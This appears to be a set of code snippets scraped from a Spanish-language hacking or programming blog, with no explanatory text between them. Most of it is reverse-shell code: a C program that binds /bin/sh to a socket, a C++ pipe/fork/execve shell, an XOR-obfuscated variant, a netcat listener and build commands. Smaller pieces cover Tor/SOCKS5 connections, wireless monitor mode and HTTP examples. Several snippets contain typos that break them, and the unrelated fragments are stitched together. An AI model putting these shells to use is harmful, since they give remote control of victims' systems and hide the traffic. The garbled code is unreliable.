git clone https://github.com/thewhiteh4t/pwnedOrNot.git
cd pwnedOrNot
pip3 install requests

python3 pwnedornot.py -e <email>

GET /descargas/archivos/archivo.zip HTTP/1.1
Host: www.website.com
User-Agent: Juanker v2

HTTP/1.1 200 OK
Date: Sat, 09 Dec 2025 03:10:00 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 80160806
Content-Type: application/zip

HTTP/1.1 200 OK

Date: Sat, 09 Dec 2025 03:10:00 GMT

Server: Apache/2.4.29 (Ubuntu)

Content-Length: 80160806

Content-Type: application/zip

HTTP/1.1 200 OK
Date: Sat, 09 Dec 2025 03:10:00 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 86
Content-type: text/plain

Este es un archivo de texto 
que contiene varias lineas
informacion y mas information

char Packet[] = "GET /descargas/archivos/archivo.zip HTTP/1.1\r\n"\
                "Host: www.website.com\r\n"\
                "User-Agent: Juanker v2\r\n\r\n";

//Se crea el objeto
Downloader down;
//Llamada a la funcion Download con la url como parametro
if(down.Download("http://www.website.com/ruta/al/fichero.rar"){
	std::cout<<"Descarga satisfactoria\n";
}

sudo ifconfig <interface> down
sudo iwconfig <interface> mode managed
sudo ifconfig <intercace> up

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "127.0.0.1"
#define REMOTE_PORT 1337

int main(int argc, char *argv[])
{
    struct sockaddr_in server;
    int socket;

    server.sin_family = AF_INET;
    server.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
    server.sin_port = htons(REMOTE_PORT);

    socket = socket(AF_INET, SOCK_STREAM, 0);
    connect(socket, (struct sockaddr *)&server, sizeof(server));
    dup2(socket, 0);
    dup2(socket, 1);
    dup2(socket, 2);

    execve("/bin/sh", 0, 0);
    return 0;
}

$ nclokita -lp PUERTO

$ cat file.txt | wc -l 

int InPipe[2];
int OutPipe[2];
pipe(InPipe);
pipe(OutPipe)
//Si hay error las funciones retornan -1

pid_t pid = fork();
if(pid == 0){
   //Este es el hijo (child) del proceso que se esta ejecutando
   //el cual a su vez es una copia exacta del proceso excepto el Process ID
} else if(pid > 0) {
   //Esta es la seccion que se sigue ejecutando despues de la llamada a fork (proceso padre)
} else {
   //Si fork no es >= 0 entonces la llamada fallo
}

//Copiamos a stdin el extremo READ-END de InPipe
dup2(InPipe[0], 0);

//Copiamos a stdout el extremo WRITE-END de OutPipe
dup2(OutPipe[1], 1);

//Igual que el anterior copiamos a stderr el extremo WRITE-END de OutPipe
dup2(OutPipe[1], 2);

//Se llama la funcion execve con los parametros deseados
//Si quisieramos pasar argumentos al programa se hacen en el array arg
//Ejemplo  char *arg[] = {"arg1", "arg2", "arg2" ...}
char *arg[] = {nullptr};
char *env[] = {nullptr};
//Ejecuta el programa especificado y remplaza la imagen en memoria de la copia que hemos creado previamente con fork()
execve("/bin/sh", arg, env);
exit(0);

//Se crea un thread de la funcion LeerStdout con el parametro OutPipe[0] 
//el cual es el extremo que lee del proceso antes ejecutado
std::thread th1(LeerStdout, OutPipe[0]);
int iBytes = 0;
char CmdBuffer[1025]; //para mega comandos larguisimos juaker 
while(1){
   //recibimos los datos del servidor
   iBytes = recv(Socket, CmdBuffer, 1024, 0); 
   if(iBytes > 0){
      CmdBuffer[iBytes] = '\0';
      //escribimos al extremo WRITE-END de InPipe
      write(InPipe[1], CmdBuffer, strlen(CmdBuffer));
   }
}
th1.join();

void LeerStdout(int Pipe){
   chad CmdBuffer[256];
   int iRet = 0, iRet2 = 0;
   while(1){
      //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
      iRet = read(Pipe, &CmdBuffer, 255);
      //Enviamos los datos leidos de stdout/stderr al servidor
      iRet2 = send(Socket, CmdBufer, iRet); 
   }
}

//Funcion de cifrado XOR
std::string XOR(const std::string Data, const std::string Password){
   std::string Final = "";
   for(char cD : Data){
      for(char cS : Password){
         cD ^= cS;
      }
      Final.append(1, cD);
   }
   return Final;
}

std::thread th1(LeerStdout, OutPipe[0]);
int iBytes = 0;
char CmdBuffer[1025]; //para mega comandos larguisimos juaker 
while(1){
   //recibimos los datos cifrados del servidor
   iBytes = recv(Socket, CmdBuffer, 1024, 0); 
   if(iBytes > 0){
      CmdBuffer[iBytes] = '\0';
      std::string Descifrado = XOR(std::string(CmdBuffer), std::string("password"));
      //Ahora descifrado contiene el comando descifrado que envio el servidor
      //escribimos al extremo WRITE-END de InPipe el contenido descifrado
      write(InPipe[1], Descifrado.c_str(), Descifrado.length());
   }
}
th1.join();

void LeerStdout(int Pipe){
   chad CmdBuffer[256];    
   int iRet = 0, iRet2 = 0;
    while(1){
       //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
       iRet = read(Pipe, &CmdBuffer, 255);
       std::string Cifrado = XOR(std::string(Cmdbuffer), std::string("password"));
       //ahora Cifrado contiene el resultado de lo leido del pipe cifrado con XOR
       //Enviamos los datos cifrados leidos de stdout/stderr al servidor
       iRet2 = send(Socket, Cifrado.c_str(), Cifrado.length()); 
    }
 }

git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git

Cli->Connect("IP", "PUERTO")

Server *Srv = new Server(1337, "aiiiuuudaaaaa");

g++ -Wall -Wextra Client.cpp -o Client -pthread

g++ -Wall -Wextra Server.cpp -o Server -pthread

ifconfig <nombre interface> down
iwconfig <nombre interface> mode monitor
ifconfig <nombre interface> up

if($json2['graphql']['shortcode_media']['caption_is_edited'] === "False"){
   $IsEdited = false;
} else {
   $IsEdited = true;
}

$IsEdited = ($json2['graphql']['shortcode_media']['caption_is_edited'] === "False") ? false : true;

sudo apt-get intall gcc

char buffer[3];
buffer[0] = 0x05;  //Version de socks
buffer[1] = 0x01; //Metodos de autenticacion soportados por el cliente
buffer[2] = 0x00; //Metodo de autenticacion a utilizar : Sin Autenticacion
send(Socket, buffer, 3, 0);

char rbuffer[10];
recv(Socket, rbuffer, 10, 0);
if(rbuffer[1] == 0x00){
   //primera parte de negociacion correctamente
}

char fbuff[256];
memset(fbuff, 0, 256);
fbuff[0] = 0x05;  //version de socks
fbuff[1] = 0x01;  //Codigo de comando
fbuff[2] = 0x00;  //Byte reservado
fbuff[3] = 0x03; //Tipo de direccion del host

short host_port = htons(PORT);                  //convierte el numero de puerto a orden de bytes de red
char host_len = (char)strlen(HOSTNAME);        //Se obtiene la longitud del nombre host en un byte
memcpy(fbuff + 4, &host_len, 1);                //Luego se unen los datos junto con la secuencia anterior
memcpy(fbuff + 5, HOSTNAME, host_len);
memcpy(fbuff + 5 + host_len, &host_port, 2);

send(Socket, fbuff, 7 + host_len, 0);         //Se envia la secuencia de bytes

recv(Socket, rbuffer, 10, 0);
if(rbuffer[1] == 0x00){
    //proceso de negociacion completo
    //Ahora se procede a intercambiar datos con el host de destino 
}

#include<iostream>
#include<cstring>
#include<cstdlib>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<netinet/in.h>
#include<netdb.h>
#include<unistd.h>
#include<signal.h>

class TorSocket{
   private:
	int SocketD;
   public:
	int Connect(const char *cHostname, int iPort, const char *torhost = "127.0.0.1", const char *torport = "9050"){
		struct sigaction act;
		memset(&act, 0, sizeof(act));
		act.sa_handler = SIG_IGN;
		act.sa_flags = SA_RESTART;
		sigaction(SIGPIPE, &act, 0);
		struct addrinfo client, *addrs, *addr;
		char rBuffer[10];
		int iReceived = 0;
		memset(&client, 0, sizeof(client));
		client.ai_family = AF_UNSPEC;
		client.ai_socktype = SOCK_STREAM;
		client.ai_protocol = IPPROTO_TCP;
		int iStatus = getaddrinfo(torhost, torport, &client, &addrs);
		if(iStatus!=0){
			std::cout<<"Error getaddrinfo\n";
			return -1;
		}
		for(addr = addrs; addr != nullptr; addr = addr->ai_next){
			if((this->SocketD = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol)) == -1){
				continue;
			}
			if(connect(this->SocketD, addr->ai_addr, addr->ai_addrlen) == -1){
				continue;
			}
			break;
		}
		freeaddrinfo(addrs);
		if(this->SocketD == -1){
			std::cout<<"No se pudo conectar al proxy\n";
			return -1;
		}
		char cByteSequense1[3] = {0x05, 0x01, 0x00}; 
		send(this->SocketD, cByteSequense1, 3, 0);
		iReceived = recv(this->SocketD, rBuffer, 10, 0);
		if(iReceived > 0){
			if(rBuffer[0] != 0x05){   
				std::cout<<"Version de socks invalida\n";
				return -1;
			}
			if(rBuffer[1] == 0x00){
				char cByteSequense2[256];
				memset(cByteSequense2, 0, 256);
				cByteSequense2[0] = 0x05; 
				cByteSequense2[1] = 0x01; 
				cByteSequense2[2] = 0x00; 
				cByteSequense2[3] = 0x03;
				short sHost_Port = htons(iPort);
				char cHost_Len = (char)strlen(cHostname);
				memcpy(cByteSequense2 + 4, &cHost_Len, 1);
				memcpy(cByteSequense2 + 5, cHostname, cHost_Len);
				memcpy(cByteSequense2 + 5 + cHost_Len, &sHost_Port, 2);
				send(this->SocketD, cByteSequense2, 7 + cHost_Len, 0);
				memset(rBuffer, 0, sizeof(rBuffer));
				iReceived = recv(this->SocketD, rBuffer, 10, 0);
				if(rBuffer[1] == 0x00){
					std::cout<<"Conexion satisfatoria\n";
					//Ahora se puede enviar datos atraves de este socket
					return this->SocketD;
				} else {
					return -1;
				}
			}
		} else {
			return -1;
		}
		return -1;
	}

	void CloseSocket(){
		close(this->SocketD);
	}

	int SendData(const char *data, int size){
		return send(this->SocketD, data, size, 0);
	}

	int ReadData(char*& buffer){
		buffer = (char *)malloc(2048);
		unsigned int so_far = 0;
		char u_c[2];
		while(recv(this->SocketD, u_c, 1, 0) > 0){
			if(so_far >= 2048){
				buffer = (char *)realloc(buffer, so_far + 1);
			}
			buffer[so_far++] = u_c[0];
		}
		buffer[so_far] = '\0';
		return so_far;
	}
};

//Simple ejemplo de peticion HTTP a url specificada
int main(int argc, char **argv){
	if(argc < 2){
		std::cout<<argv[0]<<" url\n";
		return 0;
	}
	TorSocket tor;
	char domain[128];
	char *response;
	strncpy(domain, argv[1], 128);
	int stat = tor.Connect(domain, 80);
	if(stat == -1){
		std::cout<<"No se pudo conectar\n";
		return -1;
	}
	std::cout<<"Conectado\n";
	char packet[512];
	snprintf(packet, 512, "GET / HTTP/1.1\r\nHost: %s\r\n\r\n", domain);
	if(tor.SendData(packet, strlen(packet)) > 0){
		unsigned int bytes = tor.ReadData(response);
		if(bytes>0){
			std::cout<<response<<"\n\n";
		} else {
			std::cout<<"No se recibio nada\n";
		}
		free(response);
	} else {
		std::cout<<"Error al enviar el paquete\n";
	}
	tor.CloseSocket();
	return 0;
}